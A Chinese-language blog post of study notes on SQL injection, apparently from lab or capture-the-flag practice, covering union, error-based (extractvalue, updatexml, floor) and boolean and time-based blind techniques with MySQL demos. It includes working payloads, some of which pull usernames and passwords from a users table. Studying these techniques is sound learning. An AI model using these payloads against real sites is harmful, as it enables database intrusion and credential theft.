Loading

「学习笔记」SQL 注入

SQL 注入

SQL 注入,通过构造一条精巧的语句,来查询到想要得到的信息。

注入点

注入点就是可以实行注入的地方,通常是一个访问数据库的连接。

字符型注入与数字型注入判断

and 1=2 来判断,能正常显示的是字符型注入,否则为数字型注入。

闭合方式

字符型需要闭合符,数字型不需要。
常见的闭合方式:', ", '), ") 等等。

如何判断闭合方式?

在最后输入 ', ", '", 当报错或者页面为假(页面无回显)。
--+, #, %23 是注释符号。

闭合的作用

手动提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数。

union 联合注入

  1. 查找注入点。
  2. 做任何注入前查询是字符型还是数字型。
  3. 如果是字符型,找到闭合方式。
  4. 判断查询列数,group byorder by.
  5. union 联合注入要找到回显位(在页面上哪个位置显示)。

查询表名和列名

select table_name from information_schema.tables 查询表名。
select column_name from information_schema.columns 查询列名

报错注入

感觉像套话,让报错信息中包含数据库内容(错误信息说漏嘴了hhh 😄)
?id=1' union select 1, 2, dadabase() --+
很明显,这是一个错误的命令,会报错,然而报错信息 FUNCTION security.dadabase does not exist 却把我们的数据库信息 security 暴露出来了。

extractvalue 报错注入

函数 extravalue() 包含两个参数,第一个参数为 XML 文档对象名称,第二个参数为路径。

mysql> create table xml(doc varchar(150));
Query OK, 0 rows affected (0.04 sec)

mysql> insert into xml values('
    '> <book>
    '> <title>A bad boy how to get a girlfriend</title>
    '> <author>
    '> <initial>Love</initial>
    '> <surname>benben</surname>
    '> </author>
    '> </book>
    '> ');
Query OK, 1 row affected (0.02 sec)

mysql> insert into xml values('
    '> <book>
    '> <title>How to become a bad boy</title>
    '> <author>
    '> <initial>hualong</initial>
    '> <surname>Melton</surname>
    '> </author>
    '> </book>
    '> ');
Query OK, 1 row affected (0.01 sec)

mysql> select extractvalue(doc, '/book/author/surname') from xml;
+-------------------------------------------+
| extractvalue(doc, '/book/author/surname') |
+-------------------------------------------+
| benben                                    |
| Melton                                    |
+-------------------------------------------+
2 rows in set (0.01 sec)

如果我们把查询参数路径写错,他会查询不到内容,但不会报错。

mysql> select extractvalue(doc,'/book/titlelll') from xml;
+------------------------------------+
| extractvalue(doc,'/book/titlelll') |
+------------------------------------+
|                                    |
|                                    |
+------------------------------------+
2 rows in set (0.00 sec)

但如果我们把查询参数格式符号写错,那会有报错信息。

mysql> select extractvalue(doc,'~book/title') from xml;
ERROR 1105 (HY000): XPATH syntax error: '~book/title'

这个报错,会把我们的路径回显出来,我们可以尝试在报错前执行一个select查询语句,从而在报错时回显出我们想要的信息。
select extractvalue(doc, concat(0x7e, (select database()))) from xml;
这里的 0x7e 就是 ~ 的 ASCII 码的 16 进制表示,我们也可以写成 select extractvalue(doc, concat('~', (select database()))) from xml;.
最终是一样的效果。
concat 是拼接函数,会把两个参数拼接起来。
这段命令会回显为

mysql> select extractvalue(doc, concat(0x7e, (select database()))) from xml;
ERROR 1105 (HY000): XPATH syntax error: '~ctfstu'

这个报错默认只能返回 32 个字符串,使用 substring 解决只能返回 32 个字符串问题。?id=100' and 1=extractvalue(1, concat(0x7e, (select substring(group_concat(username, '~', password), 25, 30) from users))) --+
substring 第一个参数是我们要控制输出的字符串,第二个参数为从哪个字符开始显示,第三个字符是显示多少个。

updatexml 报错注入

updatexml 函数包含三个参数,第一个参数是 XML 文档对象的名称,第二个参数为路径,第三个参数是要替换的数据。
报错原理与 extractvalue() 一样,输入错误的路径。

floor 报错

rand(): 随机返回 0~1 间的小数。
floor(): 小数向下取整。
ceiling: 小数向上取整。
concat_ws: 将括号内数据用第一个字段连接起来。
group by: 分组语句,根据一个或多个列,对结果集进行分组。
as: 别名。
count: 汇总统计数量。
limit: 显示指定行数。

rand()

rand() from xml xml 中有几行就随机几次。

mysql> select rand();
+---------------------+
| rand()              |
+---------------------+
| 0.04417609613777706 |
+---------------------+
1 row in set (0.00 sec)

mysql> select rand()*2;
+-------------------+
| rand()*2          |
+-------------------+
| 1.312809753523031 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand() from xml;
+---------------------+
| rand()              |
+---------------------+
| 0.14949612612789137 |
|  0.7782660310885553 |
+---------------------+
2 rows in set (0.00 sec)

floor

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.01 sec)

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

concat_ws

将括号内数据用第一个字段连接起来。

mysql> select concat_ws('-', 3, 2);
+----------------------+
| concat_ws('-', 3, 2) |
+----------------------+
| 3-2                  |
+----------------------+
1 row in set (0.00 sec)

count

汇总统计数量。

mysql> select count(*), 1, 2;
+----------+---+---+
| count(*) | 1 | 2 |
+----------+---+---+
|        1 | 1 | 2 |
+----------+---+---+
1 row in set (0.02 sec)

mysql> select count(*) from xml;
+----------+
| count(*) |
+----------+
|        2 |
+----------+
1 row in set (0.00 sec)

核心思想就是利用 group by 的存入计算方式,利用 rand() 函数特定的种子生成特定的序列来造成报错

select count(*), concat('~',(...), floor(rand(0)*2)) as x from information_schema.tables group by x 中,...位置可以被我们替换成其他命令。

盲注

盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜测,实行 SQL 注入。

布尔盲注

web 页面只返回真、假两种类型。利用页面返回不同,逐个猜解数据。

通过 1=11=2 判断页面是否有真假值,以此判断页面是否具有布尔注入的条件。

ascii(): 可以把字母转化成对应数字。

ascii(e)=101 这样的语句,来得到我们想要的信息的名称的各个字母。(听上去有点狗)。

时间盲注

前提:数据库会执行命令代码,只是不返回页面信息。

sleep(): 休眠函数,参数为休眠时长,以秒为单位,可以为小数。
if: 条件。
if(1=2, sleep(0), sleep(3)); 如果条件(1=2)为真,则执行 sleep(0),如果为假,则执行 sleep(3)
?id=1' and if(ascii(substr((select flag from flag), 1, 1)) = 102, sleep(0), sleep(3)) --+
剩下的就是再用布尔盲注比大小。

posted @ 2025-11-30 10:51  yi_fan0305  阅读(9)  评论(0)    收藏  举报